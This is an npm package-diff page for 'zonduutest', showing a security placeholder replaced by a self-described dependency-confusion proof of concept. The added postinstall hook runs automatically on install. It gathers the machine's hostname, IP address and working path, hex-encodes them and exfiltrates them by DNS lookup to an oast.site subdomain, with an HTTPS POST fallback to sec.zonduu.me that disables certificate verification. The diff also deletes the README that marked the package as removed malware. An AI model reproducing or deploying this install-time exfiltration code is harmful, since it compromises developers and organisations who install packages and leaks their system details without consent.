zonduutest 0.0.1-security.1 → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of zonduutest might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "zonduutest",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "Proof of concept for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,71 @@
1
+ const fs = require('fs');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const os = require('os');
5
+
6
+ const logFile = '/tmp/postinstall.log';
7
+
8
+ try {
9
+ fs.appendFileSync(logFile, `Starting postinstall script\n`);
10
+
11
+ const hostname = os.hostname();
12
+ const packageName = process.env.npm_package_name;
13
+ const packageVersion = process.env.npm_package_version;
14
+ const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
15
+ const currentPath = process.cwd();
16
+
17
+ const data = {
18
+ packageName,
19
+ packageVersion,
20
+ hostname,
21
+ ipAddress,
22
+ currentPath
23
+ };
24
+
25
+ fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
26
+
27
+ // Encode the data in hex for DNS exfiltration
28
+ const hexData = Buffer.from(JSON.stringify(data)).toString('hex');
29
+
30
+ // Truncate hexData to the first 63 characters for DNS
31
+ const truncatedHexData = hexData.substring(0, 63);
32
+ const dnsSubdomain = `${truncatedHexData}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
33
+
34
+ dns.resolve4(dnsSubdomain, (err, addresses) => {
35
+ if (err) {
36
+ fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
37
+
38
+ // HTTP fallback
39
+ const postData = JSON.stringify(data);
40
+
41
+ const options = {
42
+ hostname: 'sec.zonduu.me',
43
+ port: 443,
44
+ path: '/callbackplz',
45
+ method: 'POST',
46
+ headers: {
47
+ 'Content-Type': 'application/json',
48
+ 'Content-Length': postData.length
49
+ },
50
+ rejectUnauthorized: false // Bypass certificate verification
51
+ };
52
+
53
+ const req = https.request(options, (res) => {
54
+ res.on('data', (d) => {});
55
+ });
56
+
57
+ req.on('error', (e) => {
58
+ fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
59
+ });
60
+
61
+ req.write(postData);
62
+ req.end();
63
+ } else {
64
+ fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
65
+ }
66
+ });
67
+
68
+ fs.appendFileSync(logFile, `postinstall script finished\n`);
69
+ } catch (e) {
70
+ fs.appendFileSync(logFile, `Error: ${e.message}\n`);
71
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=zonduutest for more information.